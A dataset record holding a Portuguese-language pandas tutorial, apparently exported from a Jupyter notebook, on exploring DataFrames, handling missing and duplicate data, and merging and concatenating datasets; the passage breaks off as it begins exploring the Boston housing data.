["Apache-2.0"], "max_stars_count": 8, "max_stars_repo_stars_event_min_datetime": "2016-08-15T07:02:27.000Z", "max_stars_repo_stars_event_max_datetime": "2016-08-24T09:34:00.000Z", "max_issues_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_where_op_xpu.py", "max_issues_repo_name": "ZibinGuo/Paddle", "max_issues_repo_head_hexsha": "6e0892312de5e4ba76d980ff0e4322ac55ca0d07", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2022-01-28T07:23:22.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-28T07:23:22.000Z", "max_forks_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_where_op_xpu.py", "max_forks_repo_name": "ZibinGuo/Paddle", "max_forks_repo_head_hexsha": "6e0892312de5e4ba76d980ff0e4322ac55ca0d07", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-03-02T11:36:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-02T11:36:03.000Z", "avg_line_length": 39.1079545455, "max_line_length": 97, "alphanum_fraction": 0.5606566904, "include": true, "reason": "import numpy", "num_tokens": 1610, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4455295350395727, "lm_q2_score": 0.11279540479169524, "lm_q1q2_score": 0.05025368425144437}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# #Manipulando e limpando dados\n# Esta se\u00e7\u00e3o marca uma mudan\u00e7a sutil. At\u00e9 agora, apresentamos ideias e t\u00e9cnicas para prepar\u00e1-lo com uma caixa de ferramentas de t\u00e9cnicas para lidar com situa\u00e7\u00f5es do mundo real. Agora vamos come\u00e7ar a usar algumas dessas ferramentas e, ao mesmo tempo, dar algumas id\u00e9ias sobre como e quando us\u00e1-las em seu pr\u00f3prio trabalho com dados.\n# \n# Os dados do mundo real s\u00e3o confusos. Provavelmente, voc\u00ea precisar\u00e1 combinar v\u00e1rias fontes de dados para obter os dados que realmente deseja. Os dados dessas fontes estar\u00e3o incompletos. E provavelmente n\u00e3o ser\u00e1 formatado exatamente da maneira que voc\u00ea deseja para realizar sua an\u00e1lise. \u00c9 por esses motivos que a maioria dos cientistas de dados dir\u00e1 que cerca de 80% de qualquer projeto \u00e9 gasto apenas para colocar os dados em um formul\u00e1rio pronto para an\u00e1lise.\n# \n# ## Explorando informa\u00e7\u00f5es do `DataFrame`\n# \n# &gt; **Objetivo de aprendizagem:** Ao final desta subse\u00e7\u00e3o, voc\u00ea deve estar confort\u00e1vel para encontrar informa\u00e7\u00f5es gerais sobre os dados armazenados nos DataFrames do pandas.\n# \n# Depois de carregar seus dados no pandas, \u00e9 mais prov\u00e1vel que eles estejam em um `DataFrame`. No entanto, se o conjunto de dados em seu `DataFrame` tem 60.000 linhas e 400 colunas, como voc\u00ea come\u00e7a a ter uma no\u00e7\u00e3o do que est\u00e1 trabalhando? Felizmente, o pandas fornece algumas ferramentas convenientes para examinar rapidamente informa\u00e7\u00f5es gerais sobre um `DataFrame`, al\u00e9m das primeiras e \u00faltimas linhas.\n# \n# Para explorar essa funcionalidade, importaremos a biblioteca Python scikit-learn e usaremos um conjunto de dados ic\u00f4nico que todo cientista de dados j\u00e1 viu centenas de vezes: o conjunto de dados * Iris * do bi\u00f3logo brit\u00e2nico Ronald Fisher usado em seu artigo de 1936 \"O uso de m\u00faltiplos medi\u00e7\u00f5es em problemas taxon\u00f4micos \":\n\n# In[1]:\n\n\nimport pandas as pd\nfrom sklearn.datasets import load_iris\n\niris = load_iris()\niris_df = pd.DataFrame(data=iris['data'], columns=iris['feature_names'])\n\n\n# ### `DataFrame.info`\n# Vamos dar uma olhada neste conjunto de dados para ver o que temos:\n\n# In[2]:\n\n\niris_df.info()\n\n\n# A partir disso, sabemos que o conjunto de dados * Iris * tem 150 entradas em quatro colunas. Todos os dados s\u00e3o armazenados como n\u00fameros de ponto flutuante de 64 bits.\n# \n\n# ### `DataFrame.head`\n# A seguir, vamos ver como s\u00e3o as primeiras linhas do nosso `DataFrame`:\n# \n\n# In[3]:\n\n\niris_df.head()\n\n\n# ### `DataFrame.tail`\n# O outro lado de DataFrame.head \u00e9 DataFrame.tail, que retorna as \u00faltimas cinco linhas de um DataFrame:\n# \n\n# In[4]:\n\n\niris_df.tail()\n\n\n# Na pr\u00e1tica, \u00e9 \u00fatil examinar facilmente as primeiras linhas ou as \u00faltimas linhas de um DataFrame, principalmente quando voc\u00ea est\u00e1 procurando outliers em conjuntos de dados ordenados.\n# \n# &gt; Conclus\u00e3o: mesmo olhando para os metadados sobre as informa\u00e7\u00f5es em um DataFrame ou os primeiros e os \u00faltimos valores em um, voc\u00ea pode ter uma ideia imediata sobre o tamanho, a forma e o conte\u00fado dos dados com os quais est\u00e1 lidando.\n\n# ## Lidando com dados ausentes (missing data)\n# \n# &gt; **Objetivo de aprendizagem:** Ao final desta subse\u00e7\u00e3o, voc\u00ea deve saber como substituir ou remover valores nulos de DataFrames.\n# \n# Na maioria das vezes, os conjuntos de dados que voc\u00ea deseja usar (ou deve usar) t\u00eam valores ausentes. A maneira como os dados ausentes s\u00e3o tratados traz consigo compensa\u00e7\u00f5es sutis que podem afetar sua an\u00e1lise final e os resultados do mundo real.\n# \n# O Pandas lida com valores ausentes de duas maneiras. O primeiro que voc\u00ea viu antes nas se\u00e7\u00f5es anteriores: `NaN` ou Not a Number. Na verdade, este \u00e9 um valor especial que faz parte da especifica\u00e7\u00e3o de ponto flutuante IEEE e \u00e9 usado apenas para indicar valores de ponto flutuante ausentes.\n# \n# Para valores ausentes al\u00e9m de flutuantes, o pandas usa o objeto Python `Nenhum`. Embora possa parecer confuso encontrar dois tipos diferentes de valores que dizem essencialmente a mesma coisa, existem raz\u00f5es program\u00e1ticas s\u00f3lidas para essa escolha de design e, na pr\u00e1tica, seguir esse caminho permite que os pandas forne\u00e7am um bom compromisso para a grande maioria dos casos. N\u00e3o obstante, `Nenhum` e` NaN` trazem restri\u00e7\u00f5es que voc\u00ea precisa estar ciente sobre como eles podem ser usados.\n\n# ### `None`: non-float missing data\n# Como `None` vem do Python, ele n\u00e3o pode ser usado em matrizes NumPy e pandas que n\u00e3o s\u00e3o do tipo de dados `'object'`. Lembre-se de que as matrizes NumPy (e as estruturas de dados nos pandas) podem conter apenas um tipo de dados. Isso \u00e9 o que lhes d\u00e1 um tremendo poder para dados em grande escala e trabalho computacional, mas tamb\u00e9m limita sua flexibilidade. Esses arrays precisam fazer upcast para o \u201cmenor denominador comum\u201d, o tipo de dados que abranger\u00e1 tudo no array. Quando `None` est\u00e1 no array, significa que voc\u00ea est\u00e1 trabalhando com objetos Python.\n# \n# Para ver isso em a\u00e7\u00e3o, considere o seguinte exemplo de array (observe o `dtype` para ele):\n\n# In[5]:\n\n\nimport numpy as np\n\nexample1 = np.array([2, None, 6, 8])\nexample1\n\n\n# A realidade dos tipos de dados upcast traz dois efeitos colaterais. Primeiro, as opera\u00e7\u00f5es ser\u00e3o realizadas no n\u00edvel do c\u00f3digo Python interpretado, em vez do c\u00f3digo NumPy compilado. Essencialmente, isso significa que quaisquer opera\u00e7\u00f5es envolvendo `Series` ou` DataFrames` com `None` neles ser\u00e3o mais lentas. Embora voc\u00ea provavelmente n\u00e3o notaria esse impacto no desempenho, para grandes conjuntos de dados ele pode se tornar um problema.\n# \n# O segundo efeito colateral decorre do primeiro. Porque `None` essencialmente arrasta` Series` ou `DataFrames` de volta ao mundo do Python simples, usando agrega\u00e7\u00f5es NumPy / pandas como` sum () `ou` min () `em matrizes que cont\u00eam um valor ``None`` geralmente produzir\u00e1 um erro:\n\n# In[6]:\n\n\nexample1.sum()\n\n\n# ### `NaN`: missing float values\n# \n# Em contraste com `None`, NumPy (e, portanto, pandas) suporta `NaN` para suas opera\u00e7\u00f5es e ufuncs vetorizadas r\u00e1pidas. A m\u00e1 not\u00edcia \u00e9 que qualquer aritm\u00e9tica realizada em `NaN` sempre resulta em `NaN`. Por exemplo:\n\n# In[7]:\n\n\nnp.nan + 1\n\n\n# In[8]:\n\n\nnp.nan * 0\n\n\n# A boa not\u00edcia: agrega\u00e7\u00f5es executadas em arrays com `NaN` neles n\u00e3o apresentam erros. A m\u00e1 not\u00edcia: os resultados n\u00e3o s\u00e3o uniformemente \u00fateis:\n# \n\n# In[9]:\n\n\nexample2 = np.array([2, np.nan, 6, 8]) \nexample2.sum(), example2.min(), example2.max()\n\n\n# No processo de upcasting de tipos de dados para estabelecer homogeneidade de dados em `Series` e` DataFrames`, o pandas ir\u00e1 alternar voluntariamente os valores ausentes entre `None` e` NaN`. Por causa desse recurso de design, pode ser \u00fatil pensar em `None` e` NaN` como dois sabores diferentes de \"nulo\" em pandas. Na verdade, alguns dos m\u00e9todos principais que voc\u00ea usar\u00e1 para lidar com os valores ausentes nos pandas refletem essa ideia em seus nomes:\n# \n# - `isnull ()`: Gera uma m\u00e1scara booleana indicando valores ausentes\n# - `notnull ()`: oposto de `isnull ()`\n# - `dropna ()`: Retorna uma vers\u00e3o filtrada dos dados\n# - `fillna ()`: retorna uma c\u00f3pia dos dados com os valores ausentes preenchidos ou imputados\n# \n# Esses s\u00e3o m\u00e9todos importantes para dominar e se familiarizar com eles, portanto, vamos examin\u00e1-los com alguma profundidade.\n\n# ### Detectando valores nulos\n# Ambos `isnull ()` e `notnull ()` s\u00e3o seus m\u00e9todos principais para detectar dados nulos. Ambos retornam m\u00e1scaras booleanas sobre seus dados.\n\n# In[10]:\n\n\nexample3 = pd.Series([0, np.nan, '', None])\n\n\n# In[11]:\n\n\nexample3.isnull()\n\n\n# Observe atentamente a sa\u00edda. Alguma coisa disso te surpreende? Embora `0` seja um nulo aritm\u00e9tico, \u00e9 um n\u00famero inteiro perfeitamente bom e o pandas o considera como tal. `''` \u00e9 um pouco mais sutil. Embora o tenhamos usado na Se\u00e7\u00e3o 1 para representar um valor de string vazio, ele \u00e9, no entanto, um objeto de string e n\u00e3o uma representa\u00e7\u00e3o de nulo no que diz respeito aos pandas.\n# \n# Agora, vamos virar isso e usar esses m\u00e9todos de uma maneira mais parecida com a que voc\u00ea vai usar na pr\u00e1tica. Voc\u00ea pode usar m\u00e1scaras booleanas diretamente como um \u00edndice `` Series`` ou `` DataFrame``, que pode ser \u00fatil ao tentar trabalhar com valores ausentes (ou presentes) isolados.\n\n# ** Conclus\u00e3o importante **: os m\u00e9todos `isnull ()` e `notnull ()` produzem resultados semelhantes quando voc\u00ea os usa em `DataFrame`s: eles mostram os resultados e o \u00edndice desses resultados, o que o ajudar\u00e1 enormemente enquanto voc\u00ea luta com seus dados.\n# \n\n# ### Eliminando valores nulos\n# \n# Al\u00e9m de identificar valores ausentes, o pandas fornece um meio conveniente de remover valores nulos de `Series` e` DataFrame`s. (Particularmente em grandes conjuntos de dados, muitas vezes \u00e9 mais aconselh\u00e1vel simplesmente remover os valores [NA] ausentes de sua an\u00e1lise do que lidar com eles de outras maneiras.) Para ver isso em a\u00e7\u00e3o, vamos voltar ao `exemplo3`:\n\n# In[12]:\n\n\nexample3 = example3.dropna()\nexample3\n\n\n# Observe que isso deve ser parecido com a sa\u00edda de `example3 [example3.notnull ()]`. A diferen\u00e7a aqui \u00e9 que, em vez de apenas indexar os valores mascarados, `dropna` removeu esses valores ausentes do` Series` `example3`.\n# \n# Como os `DataFrame`s t\u00eam duas dimens\u00f5es, eles oferecem mais op\u00e7\u00f5es para descartar dados.\n\n# In[13]:\n\n\nexample4 = pd.DataFrame([[1,      np.nan, 7], \n                         [2,      5,      8], \n                         [np.nan, 6,      9]])\nexample4\n\n\n# (Voc\u00ea notou que os pandas transformam duas das colunas em flutuadores para acomodar os `NaN`s?)\n# \n# Voc\u00ea n\u00e3o pode descartar um \u00fanico valor de um `DataFrame`, ent\u00e3o voc\u00ea deve descartar linhas ou colunas inteiras. Dependendo do que voc\u00ea est\u00e1 fazendo, voc\u00ea pode querer fazer um ou outro e, portanto, o pandas oferece op\u00e7\u00f5es para ambos. Como na ci\u00eancia de dados, as colunas geralmente representam vari\u00e1veis \u200b\u200be as linhas representam observa\u00e7\u00f5es, \u00e9 mais prov\u00e1vel que voc\u00ea elimine linhas de dados; a configura\u00e7\u00e3o padr\u00e3o para `dropna ()` \u00e9 descartar todas as linhas que contenham quaisquer valores nulos:\n\n# In[14]:\n\n\nexample4.dropna()\n\n\n# Se necess\u00e1rio, voc\u00ea pode eliminar os valores NA das colunas. Use `axis = 1` para fazer isso:\n# \n# \n# \n\n# In[15]:\n\n\nexample4.dropna(axis='columns')\n\n\n# Observe que isso pode eliminar muitos dados que voc\u00ea pode querer manter, principalmente em conjuntos de dados menores. E se voc\u00ea apenas quiser descartar linhas ou colunas que contenham v\u00e1rios ou at\u00e9 mesmo todos os valores nulos? Voc\u00ea especifica essas configura\u00e7\u00f5es em `dropna` com os par\u00e2metros` how` e `thresh`.\n# \n# Por padr\u00e3o, `how = 'any'` (se voc\u00ea gostaria de verificar por si mesmo ou ver quais outros par\u00e2metros o m\u00e9todo possui, execute` example4.dropna? `Em uma c\u00e9lula de c\u00f3digo). Voc\u00ea pode, alternativamente, especificar `how = 'all'` de modo a descartar apenas linhas ou colunas que contenham todos os valores nulos. Vamos expandir nosso exemplo `DataFrame` para ver isso em a\u00e7\u00e3o.\n\n# In[16]:\n\n\nexample4[3] = np.nan\nexample4\n\n\n# O par\u00e2metro `thresh` oferece um controle mais refinado: voc\u00ea define o n\u00famero de valores * n\u00e3o nulos * que uma linha ou coluna precisa ter para ser mantida:\n\n# In[17]:\n\n\nexample4.dropna(axis='rows', thresh=3)\n\n\n# \n# Aqui, a primeira e a \u00faltima linha foram eliminadas, porque cont\u00eam apenas dois valores n\u00e3o nulos.\n# \n\n# ### Preenchendo valores nulos\n# \n# Dependendo do seu conjunto de dados, \u00e0s vezes pode fazer mais sentido preencher valores nulos com valores v\u00e1lidos em vez de descart\u00e1-los. Voc\u00ea poderia usar `isnull` para fazer isso no lugar, mas pode ser trabalhoso, principalmente se voc\u00ea tiver muitos valores a preencher. Por ser uma tarefa comum em ci\u00eancia de dados, o pandas fornece `fillna`, que retorna uma c\u00f3pia do` Series` ou `DataFrame` com os valores ausentes substitu\u00eddos por um de sua escolha. Vamos criar outro exemplo `Series` para ver como isso funciona na pr\u00e1tica.\n\n# In[18]:\n\n\nexample5 = pd.Series([1, np.nan, 2, None, 3], index=list('abcde'))\nexample5\n\n\n# Voc\u00ea pode preencher todas as entradas nulas com um \u00fanico valor, como `0`:\n# \n# \n# \n\n# In[19]:\n\n\nexample5.fillna(0)\n\n\n# Voc\u00ea pode ser criativo sobre como usar `fillna`. Por exemplo, vamos olhar para `example4` novamente, mas desta vez vamos preencher os valores ausentes com a m\u00e9dia de todos os valores no` DataFrame`:\n\n# In[20]:\n\n\nexample4.fillna(example4.mean())\n\n\n# &gt; ** Takeaway: ** Existem v\u00e1rias maneiras de lidar com valores ausentes em seus conjuntos de dados. A estrat\u00e9gia espec\u00edfica que voc\u00ea usa (remov\u00ea-los, substitu\u00ed-los ou mesmo como voc\u00ea os substitui) deve ser ditada pelas particularidades desses dados. Voc\u00ea desenvolver\u00e1 um senso melhor de como lidar com os valores ausentes quanto mais voc\u00ea manipular e interagir com os conjuntos de dados.\n\n# ## Removendo dados duplicados\n# \n# &gt; ** Objetivo de aprendizado: ** Ao final desta subse\u00e7\u00e3o, voc\u00ea deve estar confort\u00e1vel em identificar e remover valores duplicados de DataFrames.\n# \n# Al\u00e9m de dados ausentes, voc\u00ea frequentemente encontrar\u00e1 dados duplicados em conjuntos de dados do mundo real. Felizmente, o pandas oferece um meio f\u00e1cil de detectar e remover entradas duplicadas.\n\n# ### Identificando duplicatas: `duplicated`\n# \n# Voc\u00ea pode localizar facilmente valores duplicados usando o m\u00e9todo `duplicated` em pandas, que retorna uma m\u00e1scara booleana indicando se uma entrada em um` DataFrame` \u00e9 uma duplicata de um ealier. Vamos criar outro exemplo de `DataFrame` para ver isso em a\u00e7\u00e3o.\n\n# In[21]:\n\n\nexample6 = pd.DataFrame({'letters': ['A','B'] * 2 + ['B'],\n                         'numbers': [1, 2, 1, 3, 3]})\nexample6\n\n\n# In[22]:\n\n\nexample6.duplicated()\n\n\n# ### Dropping duplicates: `drop_duplicates`\n# `drop_duplicates` simplesmente retorna uma c\u00f3pia dos dados para os quais todos os valores `duplicados` s\u00e3o` False`:\n\n# In[23]:\n\n\nexample6.drop_duplicates()\n\n\n# Ambos `duplicated` e` drop_duplicates` consideram todas as colunas, mas voc\u00ea pode especificar que eles examinem apenas um subconjunto de colunas em seu `DataFrame`:\n\n# In[24]:\n\n\nexample6.drop_duplicates(['letters'])\n\n\n# In[25]:\n\n\nget_ipython().run_line_magic('pinfo', 'example6.drop_duplicates')\n\n\n# &gt; ** Conclus\u00e3o: ** Remover dados duplicados \u00e9 uma parte essencial de quase todos os projetos de ci\u00eancia de dados. Dados duplicados podem alterar os resultados de suas an\u00e1lises e fornecer resultados esp\u00farios!\n\n# \n# ## Combinando conjuntos de dados: merge e join\n# \n# &gt; ** Objetivo de aprendizagem: ** Ao final desta subse\u00e7\u00e3o, voc\u00ea deve ter um conhecimento geral das v\u00e1rias maneiras de combinar `DataFrame`s.\n# \n# Suas an\u00e1lises mais interessantes geralmente vir\u00e3o de dados combinados de mais de uma fonte. Por causa disso, o pandas oferece v\u00e1rios m\u00e9todos de mesclar e unir conjuntos de dados para facilitar esse trabalho necess\u00e1rio:\n#  - ** `pandas.merge` ** conecta linhas em` DataFrame`s com base em uma ou mais chaves.\n#  - ** `pandas.concat` ** concatena ou\u201c empilha \u201dobjetos ao longo de um eixo.\n#  - O m\u00e9todo de inst\u00e2ncia ** `combine_first` ** permite que voc\u00ea junte os dados sobrepostos para preencher os valores ausentes em um objeto com os valores de outro.\n# \n# Vamos examinar a fus\u00e3o de dados primeiro, porque ser\u00e1 mais familiar para os participantes do curso que j\u00e1 est\u00e3o familiarizados com SQL ou outros bancos de dados relacionais.\n\n# ### Categorias de jun\u00e7\u00f5es (joins)\n# \n# `merge` realiza v\u00e1rios tipos de jun\u00e7\u00f5es: * um-para-um *, * muitos-para-um * e * muitos-para-muitos *. Voc\u00ea usa a mesma chamada de fun\u00e7\u00e3o b\u00e1sica para implementar todos eles e examinaremos todos os tr\u00eas (porque voc\u00ea precisar\u00e1 de todos os tr\u00eas como algum ponto em sua pesquisa de dados, dependendo dos dados). Come\u00e7aremos com jun\u00e7\u00f5es de um para um porque geralmente s\u00e3o o exemplo mais simples.\n\n# #### Joins um a um\n# \n# Considere combinar dois `DataFrame`s que cont\u00eam informa\u00e7\u00f5es diferentes sobre os mesmos funcion\u00e1rios em uma empresa:\n\n# In[26]:\n\n\ndf1 = pd.DataFrame({'employee': ['Gary', 'Stu', 'Mary', 'Sue'],\n                    'group': ['Accounting', 'Marketing', 'Marketing', 'HR']})\ndf1\n\n\n# In[27]:\n\n\ndf2 = pd.DataFrame({'employee': ['Mary', 'Stu', 'Gary', 'Sue'],\n                    'hire_date': [2008, 2012, 2017, 2018]})\ndf2\n\n\n# Combine essas informa\u00e7\u00f5es em um \u00fanico `DataFrame` usando a fun\u00e7\u00e3o` merge`:\n\n# In[28]:\n\n\ndf3 = pd.merge(df1, df2)\ndf3\n\n\n# O Pandas fez a jun\u00e7\u00e3o baseado na coluna `employee` porque era a \u00fanica coluna comum a` df1` e `df2`. (Observe tamb\u00e9m que os \u00edndices originais de `df1` e` df2` foram descartados por `merge`; este \u00e9 geralmente o caso com mesclagens, a menos que voc\u00ea conduza por \u00edndice, que discutiremos mais tarde.)\n\n# #### Joins muitos para um\n# Uma jun\u00e7\u00e3o de muitos para um \u00e9 como uma jun\u00e7\u00e3o de um para um, exceto que uma das duas colunas principais cont\u00e9m entradas duplicadas. O DataFrame resultante de tal jun\u00e7\u00e3o preservar\u00e1 essas entradas duplicadas conforme apropriado:\n\n# In[29]:\n\n\ndf4 = pd.DataFrame({'group': ['Accounting', 'Marketing', 'HR'],\n                    'supervisor': ['Carlos', 'Giada', 'Stephanie']})\ndf4\n\n\n# In[30]:\n\n\npd.merge(df3, df4)\n\n\n# O `DataFrame` resultante tem uma coluna adicional para` supervisor`; essa coluna tem uma ocorr\u00eancia extra de 'Giada' que n\u00e3o ocorreu em `df4` porque mais de um funcion\u00e1rio no` DataFrame` mesclado trabalha no grupo 'Marketing'.\n# \n# Observe que n\u00e3o especificamos em qual coluna juntar. Quando voc\u00ea n\u00e3o especifica essas informa\u00e7\u00f5es, `merge` usa os nomes das colunas sobrepostas como as chaves. No entanto, isso pode ser amb\u00edguo; v\u00e1rias colunas podem atender a essa condi\u00e7\u00e3o. Por esse motivo, \u00e9 uma boa pr\u00e1tica especificar explicitamente em qual chave juntar. Voc\u00ea pode fazer isso com o par\u00e2metro `on`:\n\n# In[31]:\n\n\npd.merge(df3, df4, on='group')\n\n\n# #### Muitos para muitos joins\n# O que acontecer\u00e1 se as colunas-chave em ambos os DataFrames que voc\u00ea est\u00e1 unindo contiverem duplicatas? Isso d\u00e1 a voc\u00ea uma jun\u00e7\u00e3o de muitos para muitos:\n\n# In[32]:\n\n\ndf5 = pd.DataFrame({'group': ['Accounting', 'Accounting',\n                              'Marketing', 'Marketing', 'HR', 'HR'],\n                    'core_skills': ['math', 'spreadsheets', 'writing', 'communication',\n                               'spreadsheets', 'organization']})\ndf5\n\n\n# In[33]:\n\n\npd.merge(df1, df5, on='group')\n\n\n# Novamente, para evitar ambig\u00fcidade quanto a qual coluna unir, \u00e9 uma boa id\u00e9ia dizer explicitamente ao `merge` qual usar com o par\u00e2metro` on`.\n\n# #### `left_on` and `right_on` keywords\n# E se voc\u00ea precisar mesclar dois conjuntos de dados sem nomes de coluna compartilhados? Por exemplo, e se voc\u00ea estiver usando um conjunto de dados em que o nome do funcion\u00e1rio \u00e9 rotulado como 'nome' em vez de 'funcion\u00e1rio'? Nesses casos, voc\u00ea precisar\u00e1 usar as palavras-chave `left_on` e `right_on`\n#  para especificar os nomes das colunas nas quais unir:\n\n# In[34]:\n\n\ndf6 = pd.DataFrame({'name': ['Gary', 'Stu', 'Mary', 'Sue'],\n                    'salary': [70000, 80000, 120000, 90000]})\ndf6\n\n\n# In[35]:\n\n\npd.merge(df1, df6, left_on=\"employee\", right_on=\"name\")\n\n\n# ### Concatena\u00e7\u00e3o em NumPy\n# A concatena\u00e7\u00e3o em pandas \u00e9 constru\u00edda a partir da funcionalidade de concatena\u00e7\u00e3o para matrizes NumPy. Esta \u00e9 a apar\u00eancia da concatena\u00e7\u00e3o NumPy:\n#  - Para matrizes unidimensionais:\n\n# In[36]:\n\n\nx = [1, 2, 3]\ny = [4, 5, 6]\nz = [7, 8, 9]\nnp.concatenate([x, y, z])\n\n\n# \n#  - Para matrizes bidimensionais:\n\n# In[37]:\n\n\nx = [[1, 2],\n     [3, 4]]\nnp.concatenate([x, x], axis=1)\n\n\n# Observe que o par\u00e2metro `axis = 1` faz com que a concatena\u00e7\u00e3o ocorra ao longo de colunas ao inv\u00e9s de linhas. A concatena\u00e7\u00e3o em pandas \u00e9 semelhante a esta.\n\n# ### Concatena\u00e7\u00e3o em pandas\n# \n# Pandas tem uma fun\u00e7\u00e3o, `pd.concat ()` que pode ser usada para uma concatena\u00e7\u00e3o simples de objetos `Series` ou` DataFrame` de maneira semelhante a `np.concatenate ()` com ndarrays.\n\n# In[38]:\n\n\nser1 = pd.Series(['a', 'b', 'c'], index=[1, 2, 3])\nser2 = pd.Series(['d', 'e', 'f'], index=[4, 5, 6])\npd.concat([ser1, ser2])\n\n\n# Ele tamb\u00e9m concatena objetos de dimens\u00f5es superiores, como `` DataFrame``s:\n\n# In[39]:\n\n\ndf9 = pd.DataFrame({'A': ['a', 'c'],\n                    'B': ['b', 'd']})\ndf9\n\n\n# In[40]:\n\n\npd.concat([df9, df9])\n\n\n# Observe que `pd.concat` preservou a indexa\u00e7\u00e3o, embora isso signifique que ela foi duplicada. Voc\u00ea pode ter os resultados reindexados (e evitar poss\u00edveis confus\u00f5es no caminho) assim:\n\n# In[41]:\n\n\npd.concat([df9, df9], ignore_index=True)\n\n\n# Por padr\u00e3o, `pd.concat` concatena a linha dentro do` DataFrame` (ou seja, `axis = 0` por padr\u00e3o). Voc\u00ea pode especificar o eixo ao longo do qual concatenar:\n\n# In[42]:\n\n\npd.concat([df9, df9], axis=1)\n\n\n# ### Concatena\u00e7\u00e3o com jun\u00e7\u00f5es\n# Assim como fez com a mesclagem acima, voc\u00ea pode usar jun\u00e7\u00f5es internas e externas ao concatenar DataFrames com diferentes conjuntos de nomes de coluna.\n\n# In[43]:\n\n\ndf10 = pd.DataFrame({'A': ['a', 'd'],\n                     'B': ['b', 'e'],\n                     'C': ['c', 'f']})\ndf10\n\n\n# In[44]:\n\n\ndf11 = pd.DataFrame({'B': ['u', 'x'],\n                     'C': ['v', 'y'],\n                     'D': ['w', 'z']})\ndf11\n\n\n# In[45]:\n\n\npd.concat([df10, df11])\n\n\n# Como vimos anteriormente, a jun\u00e7\u00e3o padr\u00e3o para isso \u00e9 uma jun\u00e7\u00e3o externa e as entradas para as quais nenhum dado est\u00e1 dispon\u00edvel s\u00e3o preenchidas com valores `NaN`. Voc\u00ea tamb\u00e9m pode fazer uma jun\u00e7\u00e3o interna:\n\n# In[46]:\n\n\npd.concat([df10, df11], join='inner')\n\n\n# Outra op\u00e7\u00e3o \u00e9 especificar diretamente o \u00edndice das colunas restantes usando o argumento `join_axes`, que obt\u00e9m uma lista de objetos de \u00edndice. Aqui, especificaremos que as colunas retornadas devem ser as mesmas da primeira entrada (`df10`):\n\n# In[47]:\n\n\npd.concat([df10, df11], join_axes=[df10.columns])\n\n\n# #### `append()`\n# \n# Como a concatena\u00e7\u00e3o direta de array \u00e9 t\u00e3o comum, os objetos `` Series`` e `` DataFrame`` t\u00eam um m\u00e9todo `` append`` que pode realizar a mesma coisa em menos teclas. Por exemplo, em vez de chamar `` pd.concat ([df9, df9]) ``, voc\u00ea pode simplesmente chamar `` df9.append (df9) ``:\n\n# In[48]:\n\n\ndf9.append(df9)\n\n\n# ** Ponto importante **: Ao contr\u00e1rio dos m\u00e9todos `append ()` e `extend ()` das listas Python, o m\u00e9todo `append ()` no pandas n\u00e3o modifica o objeto original. Em vez disso, ele cria um novo objeto com os dados combinados.\n# \n# &gt; ** Conclus\u00e3o: ** uma grande parte do valor que voc\u00ea pode fornecer como cientista de dados vem da conex\u00e3o de v\u00e1rios conjuntos de dados, muitas vezes d\u00edspares, para encontrar novos insights. Aprender como juntar e mesclar dados \u00e9, portanto, uma parte essencial do seu conjunto de habilidades.\n\n# ## Estat\u00edsticas explorat\u00f3rias e visualiza\u00e7\u00e3o\n# \n# &gt; ** Objetivo de aprendizagem: ** Ao final desta subse\u00e7\u00e3o, voc\u00ea deve estar familiarizado com algumas das maneiras de explorar visualmente os dados armazenados em `DataFrame`s.\n# \n# Freq\u00fcentemente, ao investigar um novo conjunto de dados, \u00e9 inestim\u00e1vel obter informa\u00e7\u00f5es de alto n\u00edvel sobre o que o conjunto de dados cont\u00e9m. Anteriormente nesta se\u00e7\u00e3o, discutimos o uso de m\u00e9todos como `DataFrame.info`,` DataFrame.head` e `DataFrame.tail` para examinar alguns aspectos de um` DataFrame`. Embora esses m\u00e9todos sejam essenciais, eles s\u00e3o, por si pr\u00f3prios, muitas vezes insuficientes para obter informa\u00e7\u00f5es suficientes para saber como abordar um novo conjunto de dados. \u00c9 aqui que entram as estat\u00edsticas explorat\u00f3rias e as visualiza\u00e7\u00f5es dos conjuntos de dados.\n# \n# Para ver o que queremos dizer em termos de obten\u00e7\u00e3o de insights explorat\u00f3rios (visual e numericamente), vamos nos aprofundar em um dos conjuntos de dados que v\u00eam com a biblioteca scikit-learn, o Boston Housing Dataset:\n\n# In[49]:\n\n\nfrom sklearn.datasets import load_boston\nboston_dataset = load_boston()\ndf = pd.DataFrame(boston_dataset.data, columns=boston_dataset.feature_names)\ndf['MEDV'] = boston_dataset.target\n\n\n# In[50]:\n\n\ndf.head()\n\n\n# \n# Este conjunto de dados cont\u00e9m informa\u00e7\u00f5es coletadas do U.S Census Bureau sobre habita\u00e7\u00e3o na \u00e1rea de Boston, Massachusetts e foi publicado pela primeira vez em 1978. O conjunto de dados tem 14 colunas:\n#  - **CRIM**: Taxa de criminalidade per capita por cidade\n#  - **ZN**: Propor\u00e7\u00e3o de terrenos residenciais zoneados para lotes com mais de 25.000 p\u00e9s quadrados\n#  - **INDUS**: Propor\u00e7\u00e3o de acres de neg\u00f3cios n\u00e3o varejistas por cidade\n#  - **CHAS**: vari\u00e1vel dummy Charles River (= 1 se o trato limita o rio; 0 caso contr\u00e1rio)\n#  - **NOX**: concentra\u00e7\u00e3o de \u00f3xidos n\u00edtricos (partes por 10 milh\u00f5es)\n#  - **RM**: N\u00famero m\u00e9dio de quartos por habita\u00e7\u00e3o\n#  - **AGE**: Propor\u00e7\u00e3o de unidades ocupadas pelo propriet\u00e1rio constru\u00eddas antes de 1940\n#  - **DIS**: dist\u00e2ncias ponderadas at\u00e9 cinco centros de empregos de Boston\n#  - **RAD**: \u00cdndice de acessibilidade \u00e0s rodovias radiais\n#  - **TAX**: Taxa de imposto de propriedade de valor total por \\$ 10.000\n#  - **PTRATIO**: Propor\u00e7\u00e3o aluno-professor por cidade\n#  - **LSTAT**: Porcentagem da por\u00e7\u00e3o de status inferior da popula\u00e7\u00e3o\n#  - **MEDV**: valor m\u00e9dio das casas ocupadas pelo propriet\u00e1rio em \\$ 1.000\n\n# Um dos primeiros m\u00e9todos que podemos usar para entender melhor este conjunto de dados \u00e9 `DataFrame.shape`:\n\n# 